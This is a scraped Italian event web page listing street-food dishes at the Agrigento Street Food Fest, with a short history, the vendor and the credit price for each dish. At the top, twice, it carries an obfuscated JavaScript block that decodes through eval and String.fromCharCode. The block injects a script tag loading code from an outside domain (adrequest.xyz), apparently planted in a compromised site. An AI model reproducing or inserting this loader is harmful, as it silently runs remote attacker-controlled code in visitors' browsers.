var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Pietanze - Street Food Fest Agrigento var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Arrosticini

Quella degli Arrosticini è una storia di verdi pascoli e tradizioni della cucina povera abruzzese. Secondo alcuni storici sarebbero nati negli anni Trenta per le esigenze alimentari di alcuni pastori particolarmente poveri. Essi tagliarono la carne di pecora più vicina alle ossa dell’animale, chiamata ciavarra, solitamente scartata. I tocchetti di carne venivano infilzati in spiedi di legno ricavati da una pianta tipica abruzzese (vigh) e cotti alla brace. Gli Arrosticini così preparati risultarono davvero buoni da rosicchiare e divennero in fretta una pietanza della tradizione, da consumare all’aperto in occasione di scampagnate e feste di paese. Oggi gli Arrosticini di Pasquale Peca sono un succulento finger food costituito da tocchetti di carne e grasso di pecora cucinati su carbone nel tipico braciere abruzzese, la canalina. Unico condimento degli Arrosticini Abruzzesi presenti ad Agrigento Street Food Fest è il sale.

Street Fooder: Assaggeria al Km 431
Crediti: 40

Burritos

Il Burritos con Chili è un interessante crocevia di sapori provenienti dalla storia di tre diversi continenti. La tortilla di uova fresche passata per pochi attimi nel burro è un contributo degli spagnoli, antichi scopritori del Messico. Morbida e saporita, la tortilla è farcita con il cheddar, un tipico formaggio americano che introduce le influenze nordamericane nel piatto. Il chili è uno spezzatino di  tenero misto di maiale, manzo e pollo cotto nel sugo di pomodoro e profumato grazie alla rosolatura di peperoni e cipolle. La sapiente speziatura dona al Burritos con Chili una stuzzicante nota piccante, sudamericana, che contrasta con la freschezza della lattuga e non risulta mai troppo forte.

Street Fooder: Il Pappamondo
Crediti: 50

California Burger

La bellezza della West Coast americana in un panino. La vitalità di Los Angeles e San Francisco, le spiagge soleggiate, i colori di Disneyland, la libertà dei surfisti e le vibrazioni dei Doors rivivono nel California Hamburger, super-panino americano farcito con un grande medaglione di manzo accompagnato da fragrante bacon, cipolla croccante, appetitoso cheddar e stuzzicanti salse. Biagio Pernace lo ha scelto tra gli oltre trenta tipi di piatti presenti nel menù di Il Soulkitchen per creare un ponte di gusto tra la West Coast americana e il lungomare di San Leone.

Street Fooder: Soul Kitchen
Crediti: 40

Cannolo

Il Cannolo di Piana degli Albanesi rispecchia la semplicità di una ricetta comune a molti pasticceri di questa comunità arbëreshë, con una scorza realizzata non tanto per resistere agli urti o non inumidirsi se a contatto con altri ingredienti, ma per essere gustata anche da sola e risultare buona e friabile. Per realizzare la scorza di questo cannolo non si usano né cacao né altri dolcificanti, bensì l’aceto di vino vecchio locale. Anche la ricotta è del territorio, esclusivamente di pecora, con poco zucchero e lavorata al setaccio. Il Cannolo di Piana degli Albanesi è risultato vincitore al Palermo Street Food Fest 2017.

Street Fooder: La Piana della Bontà
Crediti: 20

Coppo di Paranza

Street Food Italy ha sempre avuto una piccola, pregiata offerta proveniente dal patrimonio ittico siciliano composta da pietanze take away legate al pesce fritto, al pesce cotto alla griglia e a gustosi sandwich di pesce. Per Agrigento e San Leone Street Food Fest si è scelto di puntare su buonissimi tocchetti di filetto di merluzzo, platessa, gamberetti e calamaretti. Avvolti in una leggera infarinatura e immersi in olio bollente, questi piccoli doni del mare danno vita al Coppo di Paranza, una fragrante frittura di pesce che in modalità street food è ancora più sfiziosa e stuzzicante da assaggiare. Una pietanza semplice, da consumare calda con un pizzico di sale e qualche goccia di fresco limone.

Street Fooder: Street Food Italy
Crediti: 55

Crocchette di filetto di baccalà

La Crocchetta di Filetto di Baccalà è una ricetta ricca di contaminazioni culturali, visto che Maria Livera per la prima volta ha incontrato in Spagna una preparazione simile a quella che oggi esegue. È un piatto street food che valorizza un merluzzo di origini nordiche, conservato però sottosale alla siciliana. L’impasto prevede patate lesse, aglio, prezzemolo e formaggio, il tutto impanato e fritto in olio bollente per ottenere una doratura simile a quella dell’arancino. Il filetto di baccalà contiene più proteine della carne, pertanto la Crocchetta di Filetto di Baccalà oltre ad essere assai appetitosa è nutriente ed energizzante.

Street Fooder: Siamo Fritti
Crediti: 60

Curry & Cous Cous

La cucina indiana è molto speziata e il Curry & Cous Cous presentato ad Agrigento e San Leone Street Food Fest offre un ampio ventaglio di aromi e odori della tradizione dell’India. Il cous cous viene cotto al vapore, mentre le carni di manzo e di pollo ricevono l’aroma del curry, della curcuma e dello zenzero. Il tutto unito a verdure insaporite con altri esotici aromi. Gli odori si mescolo, i profumi si sprigionano e il colore arancio acceso cattura l’attenzione e prepara il palato a una gioiosa esperienza di intensità e gusto.

Street Fooder: Indian Curry Restaurant
Crediti: 40

Focaccia con Ricotta

Agrigento e San Leone Street Food Fest è lieto di proporre al pubblico la Focaccia con Ricotta dell’Antica Focacceria dal 1856. Si tratta di un cibo da strada che ha una sua dimensione storica, campagnola, visto che per tutto il Novecento è stato il pasto principale dei contadini, che razionavano questa buonissima focaccia durante i loro quotidiani spostamenti, il lavoro nei campi e il rientro nella loro abitazione. Ancora oggi è il pane il primo elemento a essere preparato e infornato. La focaccia viene aperta a metà per essere farcita con ricotta fresca, caciocavallo, un pugnetto di strutto e un po’ d’acqua. Da gustare ancora calda.

Street Fooder: Antica Focacceria dal 1856
Crediti: 30

Gnocco Fritto

Lo Gnocco Fritto è uno dei piatti street food tradizionali dell’Emilia. Tipico di Modena, rispetto alla tigella ha una pasta lavorata a sfoglia e assume una forma quadrata, viene fritto nello strutto ricevendo una sfiziosa doratura e la comparsa di croccanti bolle di pasta. Una volta cotto viene fatto asciugare su carta paglia e messo nel suo coppo da passeggio, avvolto da gustose fette di mortadella.

Street Fooder: Tigella Bella
Crediti: 35

Kebab

Comunemente si pensa che la patria del Kebab sia la Turchia. In realtà l’origine è persiana e questo piatta street food che si può mangiare passeggiando è molto diffuso in tutti i paesi asiatici. In India ha un valore legato alla lotta allo spreco: la cottura lenta dello spiedo di carne fa si che si usi meno combustibile per cucinare la carne. Anche il tipico pane indiano dove viene servita la carne ha una funzione di involucro e sostegno al cibo, sostituendo in India il packaging di carta o plastica. Le spezie, infine, garantiscono la giusta conservazione e l’aroma delle carni. Ad Agrigento e San leone Street Food Fest il panino Kebab è servito con verdure, salsa yogurt e una salsina leggermente piccante.

Street Fooder: Indian Curry Restaurant
Crediti: 45

Mignolata

Provenendo da altre parti della Sicilia o dell’Italia forse questa girella salata la si conosce con il nome Miscata, Ammiscata o Mpignolata, ma ad Agrigento e San Leone Street Food Fest si chiama Mignolata, (anticamente era la Buliata). Oggi come allora si prepara con farina, lievito, strutto, olio d’oliva e vari ingredienti in base ai gusti che si vogliono ottenere. Tipica dell’agrigentino e della cucina di Randisi e Bellanca è la Mignolata con mortadella, olive e caciocavallo. Al villaggio del gusto street food è disponibile anche una seconda Mignolata con salsiccia e cipolla, ancora più rustica e prorompente nei sapori. La Mignolata cotta al forno è senza dubbio uno dei simboli di Agrigento, un cibo che nasce povero recuperando nell’impasto gli scarti del pane e della pizza, diventato trendy e al passo coi tempi per la sua anima street food.

Street Fooder: Assapura
Crediti: 20

Paella Valenciana e Sangria

Elisa è tra i soci di Tapas BirBar e ha personalmene selezionato per Agrigento e San Leone Street Food Fest la Paella Valenciana. Originaria delle zone contadine più povere e isolate, segue la più antica ricetta spagnola di paella, preparata con ingredienti semplici come la carne di maiale, la carne di pollo, un soffritto di verdure e una sapiente speziatura. Accompagna la Paella Valenciana un bel bicchiere di Sangria, bevanda alcolica della tradizione iberica a base di vino rosso. Aromatizzata con frutta fresca, spezia ed altri odori, la Sangria di Tapas BirBar è amatissima dal pubblico locale e certamente contagerà i visitatori di Agrigento e San Leone Street Food Fest con i suoi delicati profumi.

Street Fooder:  Tapas BirBar
Crediti: 40

Pane Naan con carne aromatizzata

I visitatori di Agrigento e San Leone Street Food Fest potranno assaggiare il Naan iraniano, uno tipico panino senza lievito originario dell’Iran, assai diffuso anche in India e Pakistan. Il Naan accompagna la carne di vitello allo spiedo che Mozhdah Daliri cuoce sapientemente sul barbecue, speziandola con odori freschi che al palato non risultano mai troppo piccanti. Il sapore di questa combinazione fa risaltare il salato della carne nella giusta dose. La carne è assai appetitosa nella consistenza e insieme al croccante panino Naan da vita a un cibo da strada portatore dei tipici aromi dell’Iran.

Street Fooder: Ristorante P.K.
Crediti: 35

Panelle e crocché

Panelle e Crocché sono una coppia imbattibile dello street food palermitano. Accanto al panino con la milza sono uno dei prodotti più richiesti della friggitoria di Nino u’ Ballerino e di tutto il cibo da strada della città. Le panelle sono a base di farina di ceci: una volta scaldato sul fuoco, l’impasto è versato su un piano e rifilato nella classica forma quadrata delle panelle. Le crocché o cazzilli sono invece preparate con un impasto di patate vecchie e prezzemolo. Panelle e crocché vengono fritte in olio bollente e condite con sale, pepe e limone. Ad Agrigento e San Leone Street Food Fest sono servite in un morbido panino al sesamo.

Street Fooder: Nino u’ Ballerinu
Crediti: 25

Panino con la milza

Il  Panino con la milza ha una storia antichissima fatta risalire al Medioevo e alle tecniche di macellazione della comunità ebraica palermitana. Nel 1400, infatti, un terzo della popolazione palermitana era ebrea, ma la dottrina vietava loro il consumo della milza, che divenne un gustoso prodotto da vendere al resto dei siciliani. Tornando ai giorni nostri, la milza di vitello viene bollita insieme a pezzetti di polmone e di trachea dell’animale. La cottura termina a fuoco lento in tegami di rame, con una rosolatura della milza nella sugna o nello strutto, grassi di origine animale. La milza è servita in un panino o focaccia al sesamo aperto a metà. Il Panino con la Milza può essere gustato “schiettu”, cioè condito con solo limone, oppure “maritatu”, arricchito con ricotta e caciocavallo.

Street Fooder:  Nino u’ Ballerinu
Crediti: 25

Panino con suino dei Nebrodi

Il suino nero dei Nebrodi presente ad Agrigento e San Leone Street Food Fest è cotto a legna. Da questa lenta cottura le carni ricevono un’eccellente aroma dovuto ai legnami, che sono scelti non a caso e con cura. Il suino nero è aromatizzato con finocchietto selvatico, secondo una ricetta semplice e naturale che salvaguardia la genuinità degli ingredienti. Viene servito come imbottitura in un fragrante panino che trasforma questo tipico secondo piatto da agriturismo in un cibo di strada che regala piena soddisfazione ad ogni morso. Il Panino con Suino Nero dei Nebrodi è accompagnato da un condimento a base di cipolla caramellata oppure da limone siciliano.

Street Fooder:  Il Vecchio Carro
Crediti: 40

Panino di grani Antichi con Hamburger di Tonno delle Egadi

Nel 2017 Assud ha conquistato il terzo posto al Palermo Street Food Fest con Tunnu Tunnu, un panino di porchetta di tonno e farina di grani antichi di Sicilia. Per Agrigento e San Leone Street Food Fest si è scelto un cibo da strada che rappresenta l’evoluzione di quella esperienza. In un panino di grani antichi Tumminia e Maiorca si potrà gustare tutta la bontà di un hamburger di tonno delle Egadi, accompagnato da una salsina ancora top secret, ricavata da ortaggi locali di stagione. Va ricordato che il tonno delle Egadi è una delle qualità più pregiate in assoluto, amata perfino dalla famiglia Florio che in queste isole volle insediare la storica tonnara da 32mila mq di superficie, una delle più grandi del Mediterraneo.

Street Fooder:  Assud
Crediti: 55

Panino Fastuchello con Mortadella e Pistacchi di Raffadali

La principale specialità di Raffadali è la Pasta al Macco di Fave, ma anche il pistacchio va forte, e non da oggi: da decenni i contadini chiamano “fastuca” questa nobile frutta secca. Fin da bambino Giuseppe Di Noto vedeva i contadini fare pausa dal lavoro nei campi con  un bel panino imbottito con mortadella e formaggio provolone. Ne era affascinato, tanto che in occasione di un’odierna festa locale ha riproposto esattamente quel panino, baciato da un successo immediato di pubblico. Ad Agrigento e San Leone Street Food Fest ecco che arriva il Panino Fastuchello di GR Market, un pane caldo farcito con fette di mortadella, pesto di pistacchi di Raffadali,  formaggio al pistacchio tagliato a julienne e granella di pistacchio.

Street Fooder:  GR Market
Crediti: 30

Patatine fresche con salsa

South’s Flow sarà presente ad Agrigento e San Leone Street Food Fest con delle chips fresche dal taglio spesso e ondulato, un po’ come le patatine contadina o rustiche note al grande pubblico. Si tratta di un taglio che esalta maggiormente le patate, che in questo caso sono fresche, tenute in ammollo a tre gradi, asciugate, tagliate e fritte in olio di girasole. Per queste patatine fresche e naturali non si potrà che scegliere un accompagnamento sfizioso, dato che la varietà di salse disponibili è stata allestita con cura, attingendo in parte all’autoproduzione, in parte appoggiandosi a un fornitore locale di fiducia. Tra mostarde, salse salate, salse agrodolci e ricette che sfruttano gli aromi del territorio, le Patatine Fresche con Salsa costituiscono un’irrinunciabile esperienza di gusto.

Street Fooder: South’s Flow
Crediti: 30

Pizza fritta

Questa pietanza è un esempio di cibo povero della tradizione partenopea: i massicci bombardamenti del Dopoguerra avevano reso inutilizzabili la maggior parte dei forni a legna, ecco perché nacque la pizza fritta. Il pubblico di Agrigento e San Leone Street Food Fest potrà assaggiarne ben due tipologie. La prima si chiama Pistacchiella perché ha la crema di pistacchio, i pomodorini secchi siciliani, la mozzarella ragusana, la granella di pistacchio ed è fatta con farina semi-integrale. La seconda  si chiama Pachino, con rucola, pomodorini pachino, tonno e mozzarella ragusana. Entrambe firmate Sicilia Bedda.

Street Fooder: Sicilia Bedda
Crediti: 45

Sarde a beccafico

Sarde A Beccafico è un piatto che scatena un derby gastronomico, perché preparato in modo differente a Palermo e Catania. Possiamo risolvere l’annosa questione affermando che la vera paternità di questo piatto è di origine araba. Nella versione di Siamo Fritti Maria Livera segue abbastanza alla lettera la ricetta di sua nonna Barbara. Il vero segreto non sta tanto nella frittura delle sarde, quanto nel pangrattato che le imbottisce, preparato con pancarrè, pistacchio locale, mandorle, noci, uva sultanina, formaggio, olio evo e altri profumi che i visitatori di Agrigento e San Leone Street Food Fest si sfideranno a riconoscere.

Street Fooder:  Siamo Fritti
Crediti: 40

Sfincione Bagherese

Il termine sfincione deriva dal latino “spongia”, che significa “spugna”. In effetti è più morbido da mordere di una classica pizza e anche il condimento è diverso. Esistono ulteriori differenze tra gli ingredienti dello sfincione palermitano e questo Sfincione Bagherese preparato con pomodoro, cipolla bianca, mollica, caciocavallo, sarde o acciughe, origano, sale, pepe, ricotta (o formaggio primosale, qui assente). Ad Agrigento e San Leone Street Food Fest lo Sfincione Bagherese viene servito cavuru cavuru, cioè caldo caldo.

Street Fooder: Antica Focacceria dal 1856
Crediti: 30

Tigelle

Le Tigelle presenti ad Agrigento e San Leone Street Food Fest hanno due diversi tipi di farcitura. La prima è realizzata con ricotta di pecora e pomodoro secco tritato. La seconda con lonziono di maiale cotto alle erbe, lattuga e maionese. Non sono in alternativa: ogni visitatore potrà assaggiarle entrambe presentando un singolo ticket degustazione.

Street Fooder: Tigella Bella
Crediti: 35

U Coppu Frittu (gluten free)

